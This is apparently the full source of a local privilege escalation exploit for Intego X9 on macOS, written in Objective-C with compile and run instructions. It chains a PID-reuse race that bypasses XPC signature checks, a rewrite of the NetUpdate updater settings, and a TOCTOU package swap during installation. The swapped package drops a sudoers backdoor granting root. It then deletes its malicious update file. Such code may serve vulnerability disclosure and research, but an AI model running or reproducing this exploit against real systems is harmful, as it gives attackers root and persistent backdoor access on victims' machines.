//                          /\  .-----.  /\
//                         //\\/       \//\\
//                         |/\|    0    |/\|
//                         //\\\;-----;///\\
//                        //  \/   .   \/  \\
//                       (| ,-_|coiffeur|_-, |)
//                         //`__\.-.-./__`\\
//                        // /.-(     )-.\ \\
//                       (\ |)   '   '   (| /)
//                        ` (|           |) `
//                          \)           (/
// Title:     Intego X9, Local Privilege Escalation
// Author:    Mathieu Farrell aka @Coiffeur0x90
// Date:      2025-11-12
// Summary:   Exploits a PID-reuse Race Condition to bypass XPC listener
//            client-signature verification, uses that bypass to modify the
//            updater's (NetUpdate) configuration, then leverages a second
//            TOCTOU Race Condition during package installation (signature
//            checking) to swap and install a package (as root) whose
//            preinstall script drops a backdoor (/etc/sudoers.d/backdoor).
// Compile:
//     clang -framework Foundation -o exploit exploit.m
// Run:
//     ./exploit

#include <errno.h>
#include <signal.h>
#include <spawn.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#import <Foundation/Foundation.h>

// Number of racers (PID-reuse Race Condition).
// Child processes that will call a remote method via XPC and then call
// posix_spawn().
static const int racersCount = 10;

// Path of the binary spawned to validate the signature check.
static const char binaryValidatingSignaturePath[] = "/Applications/Intego/NetUpdate.app/Contents/MacOS/NetUpdate";

// Targeted Mach service.
static NSString * const targetedMachServiceName = @"com.intego.netupdate.daemon.agent";

// Signature of the remote method to call.
@protocol NUDaemonAgentRemote

- (void)setNetUpdateSettings:(NSDictionary *)settings
           completionHandler:(void (^)(BOOL success))completionHandler;

@end

@interface LogMonitor : NSObject

// Name of the process for which we will monitor the logs.
@property (nonatomic, strong) NSString *logProcess;

// Pattern to look for in the logs.
@property (nonatomic, strong) NSString *eventPattern;

// Delay before performing the package swap (second TOCTOU Race Condition).
@property (nonatomic, assign) NSTimeInterval sleepBeforeSwap;

// Path of the replacement package.
@property (nonatomic, strong) NSString *sourcePackagePath;

// Path of the package that should be replaced.
@property (nonatomic, strong) NSString *targetPackagePath;

// Path of the malicious update.
@property (nonatomic, strong) NSString *sourceUpdateNupkg;

// Path of the installed backdoor.
@property (nonatomic, strong) NSString *backdoorLocation;

// Starts monitoring the logs for the specified process and pattern.
- (void)startMonitoring;

// Method called automatically when the pattern is detected.
- (void)handleEvent;

@end

@implementation LogMonitor

// Starts and watches for the specified pattern.
- (void)startMonitoring {
    NSLog(@"[*] Monitoring log stream for process: %@", self.logProcess);

    // Create a new NSTask to execute the `log stream` command.
    NSTask *task = [[NSTask alloc] init];
    task.launchPath = @"/usr/bin/log";
    task.arguments = @[
        @"stream",
        @"--predicate",
        [NSString stringWithFormat:@"process == \"%@\"", self.logProcess]
    ];
    
    // Configure a pipe to capture both standard output and standard error.
    NSPipe *pipe = [NSPipe pipe];
    task.standardOutput = pipe;
    task.standardError  = pipe;
    
    // Get a handle to read the data from the pipe.
    NSFileHandle *fileHandle = [pipe fileHandleForReading];
    
    // Launch the task asynchronously.
    [task launch];
    
    // Define a block that will be called each time new data becomes
    // available.
    fileHandle.readabilityHandler = ^(NSFileHandle *fh) {
        NSData *data = [fh availableData];
        
        // If no data is available, exit the block (EOF or process ended).
        if (data.length == 0) {
            return;
        }
        
        // Convert the raw bytes into a UTF-8 encoded string.
        NSString *line = [[NSString alloc] initWithData:data encoding:NSUTF8StringEncoding];
        
        // Search the line for the pattern (case-insensitive).
        if ([line rangeOfString:self.eventPattern options:NSCaseInsensitiveSearch].location != NSNotFound) {
            // If pattern is found, handle the event and stop monitoring.
            [self handleEvent];
            
            // Terminate the running `log stream` task.
            [task terminate];
        }
    };
    
    // Keep the program alive to continuously receive log data.
    [[NSRunLoop currentRunLoop] run];
}

- (void)handleEvent {
    NSLog(@"[+] Event detected (waiting %.0f seconds) ...", self.sleepBeforeSwap);
    
    // Pause the thread for the configured delay.
    [NSThread sleepForTimeInterval:self.sleepBeforeSwap];
    
    NSFileManager *fileManager = [NSFileManager defaultManager];
    
    // Safely remove the existing target package file.
    if ([fileManager fileExistsAtPath:self.targetPackagePath]) {
        NSError *removeError = nil;
        BOOL removed = [fileManager removeItemAtPath:self.targetPackagePath error:&removeError];
        if (removed) {
            NSLog(@"[*] Target package removed successfully: %@.", self.targetPackagePath);
        } else {
            NSLog(@"[x] Failed to remove target package: %@", removeError.localizedDescription);
            exit(-1);
        }
    } else {
        NSLog(@"[x] Target package not found at path: %@", self.targetPackagePath);
    }
    
    // Copy the malicious package to the target path.
    NSError *copyError = nil;
    BOOL copied = [fileManager copyItemAtPath:self.sourcePackagePath toPath:self.targetPackagePath error:&copyError];
    if (copied) {
        NSLog(@"[+] Package swap completed.");
    } else {
        NSLog(@"[x] Package swap failed: %@", copyError.localizedDescription);
    }

    // Check if the LPE succeeded.
    NSLog(@"[*] Checking for LPE status ...");
    while (true) {
        if ([fileManager fileExistsAtPath:self.backdoorLocation]) {
            NSLog(@"[+] LPE succeeded.");

            NSString *tmpPath = [@"/private/tmp" stringByAppendingPathComponent:self.sourceUpdateNupkg];

            NSLog(@"[*] Cleaning ...");
            NSError *error = nil;
            if ([fileManager removeItemAtPath:tmpPath error:&error]) {
                NSLog(@"[*] Malicious update removed: %@", tmpPath);
            } else {
                NSLog(@"[x] Failed to remove malicious update: %@ (Error: %@)", tmpPath, error.localizedDescription);
            }

            exit(0);
        }
    }
}

@end

// Main entry point of the program.
int main(void) {
    extern char **environ;
    int pids[racersCount];

    // Initialize the log monitor.
    LogMonitor *monitor = [[LogMonitor alloc] init];
    // Process name to monitor.
    monitor.logProcess = @"authd";
    // Log message to detect.
    monitor.eventPattern = @"Succeeded authorizing right 'system.privilege.admin' by client '/Library/Intego/netupdated.bundle/Contents/MacOS/NetUpdate Installer.app'";
    // Delay before file swap (seconds).
    monitor.sleepBeforeSwap = 2.0;
    // Source path for malicious package.
    monitor.sourcePackagePath = @"Coiffeur_Backdoor.pkg"; 
    // Target path for malicious package.
    monitor.targetPackagePath = @"/tmp/Coiffeur_Package.pkg";
    // Path of the malicious update.
    monitor.sourceUpdateNupkg = @"Coiffeur_Package.nupkg";
    // File intended to confirm the success of the LPE.
    monitor.backdoorLocation = @"/etc/sudoers.d/backdoor";

    // Copy the malicious update to the desired destination.
    NSString *destinationUpdateNupkg = [@"/private/tmp" stringByAppendingPathComponent:[monitor.sourceUpdateNupkg lastPathComponent]];
    NSFileManager *fileManager = [NSFileManager defaultManager];
    NSError *error = nil;

    BOOL success = [fileManager copyItemAtPath:monitor.sourceUpdateNupkg
                                        toPath:destinationUpdateNupkg
                                         error:&error];

    if (success) {
        NSLog(@"[*] Malicious update successfully copied: %@", destinationUpdateNupkg);
    } else {
        NSLog(@"[x] Failed to copy malicious update: %@", [error localizedDescription]);
        return -1;
    }

    // We will fork() as many times as we need to win the race.
    for (int i = 0; i < racersCount; i++) {
        pid_t pid = fork();
        // Unable to fork() or fork() failed.
        if (pid < 0) {
            NSLog(@"[!] fork() failed at iteration %d: %s", i, strerror(errno));
            pids[i] = -1;
            continue;
        }

        // Child process.
        if (pid == 0) {
            // Create the XPC connection to the Mach service.
            NSXPCConnection *connection = [[NSXPCConnection alloc] initWithMachServiceName:targetedMachServiceName options:0];
            connection.interruptionHandler = ^{
                NSLog(@"[x] Connection to daemon was interrupted.");
            };
            connection.invalidationHandler = ^{
                NSLog(@"[x] Connection to daemon was invalidated.");
            };

            // Associate the protocol.
            connection.remoteObjectInterface = [NSXPCInterface interfaceWithProtocol:@protocol(NUDaemonAgentRemote)];
            [connection resume];

            NSString *currentUser = NSUserName();
            NSString *updatesSavePath = @"/Users/<USER>/Downloads";
            // Dictionary sent as the first parameter to the remote method.
            NSDictionary *settings = @{
                @"backgroundUpdateOnOff": @1,
                @"backgroundUpgradeOnOff": @1,
                @"email": @"junk@proton.me",
                @"localCheckOnOff": @1,
                @"localCheckPath": @"/private/tmp",
                @"updatesSavePath": [updatesSavePath stringByReplacingOccurrencesOfString:@"<USER>" withString:currentUser],
            };

            // Remote method call.
            id<NUDaemonAgentRemote> proxy = [connection remoteObjectProxyWithErrorHandler:^(NSError * _Nonnull error) {
                NSLog(@"[!] Something's up with XPC communication.");
            }];
            [proxy setNetUpdateSettings:settings completionHandler:^(BOOL success) {
                NSLog(@"[!] Something's up with XPC communication.");
            }];
    
            // We invalidate the connection to directly spawn the binary
            // validating the signature.
            [connection invalidate];

            NSLog(@"[*] Done (child about to spawn target binary).");

            // Prepare arguments for posix_spawn().
            const char *target_binary = binaryValidatingSignaturePath;
            char *const target_argv[] = { (char *const)target_binary, NULL };
            short flags = 0;
            posix_spawnattr_t attr;

            // Setting up the environment and arguments for posix_spawn().
            if (posix_spawnattr_init(&attr) != 0) {
                NSLog(@"[!] posix_spawnattr_init() failed: %s", strerror(errno));
            } else {
                if (posix_spawnattr_getflags(&attr, &flags) != 0) {
                    NSLog(@"[!] posix_spawnattr_getflags() failed: %s", strerror(errno));
                } else {
                    flags |= (POSIX_SPAWN_SETEXEC | POSIX_SPAWN_START_SUSPENDED);
                    if (posix_spawnattr_setflags(&attr, flags) != 0) {
                        NSLog(@"[!] posix_spawnattr_setflags() failed: %s", strerror(errno));
                    }
                }
            }

            // Triggering posix_spawn().
            pid_t spawnedPid = -1;
            int spawnErr = posix_spawn(&spawnedPid, target_binary, NULL, &attr, target_argv, environ);
            if (spawnErr != 0) {
                NSLog(@"[!] posix_spawn() failed: %s", strerror(spawnErr));
            } else {
                NSLog(@"[*] posix_spawn() returned pid: %d", spawnedPid);
            }

            // Clean up spawn attributes.
            posix_spawnattr_destroy(&attr);

            // In the child process we exit after finishing the work
            // so we do not continue the parent's fork() loop.
            // Using _exit() to avoid invoking Objective-C cleanup twice.
            _exit(EXIT_SUCCESS);
        }

        // Parent process continues here.
        NSLog(@"[*] Forked child pid: %d (iteration %d)", (int)pid, i);
        pids[i] = pid;
    }

    // Give children some time to win the race.
    sleep(10);

    // Terminate children created by the parent.
    for (int i = 0; i < racersCount; i++) {
        if (pids[i] > 0) {
            if (kill(pids[i], SIGKILL) != 0) {
                NSLog(@"[x] kill %d failed: %s", pids[i], strerror(errno));
            } else {
                NSLog(@"[*] Killed pid %d", pids[i]);
            }
        }
    }

    // Allow time for the configuration to load correctly in order to
    // impact the client.
    NSLog(@"[*] Waiting for the malicious configuration to propagate ...");
    sleep(2);

    // Create a task to execute the client in background.
    NSString *clientPath = [NSString stringWithUTF8String:binaryValidatingSignaturePath];
    NSLog(@"[*] Starting client: %@", [clientPath lastPathComponent]);
    NSTask *backgroundtTask = [[NSTask alloc] init];
    [backgroundtTask setLaunchPath:clientPath];
    [backgroundtTask setArguments:@[]];

    // Redirect output and error to /dev/null to ignore them.
    [backgroundtTask setStandardOutput:[NSFileHandle fileHandleWithNullDevice]];
    [backgroundtTask setStandardError:[NSFileHandle fileHandleWithNullDevice]];

    // Launch the task asynchronously on a background queue.
    dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_BACKGROUND, 0), ^{
        [backgroundtTask launch];
    });

    NSLog(@"[*] Waiting for the user to initiate an update.");

    // Start monitoring.
    [monitor startMonitoring];

    return 0;
}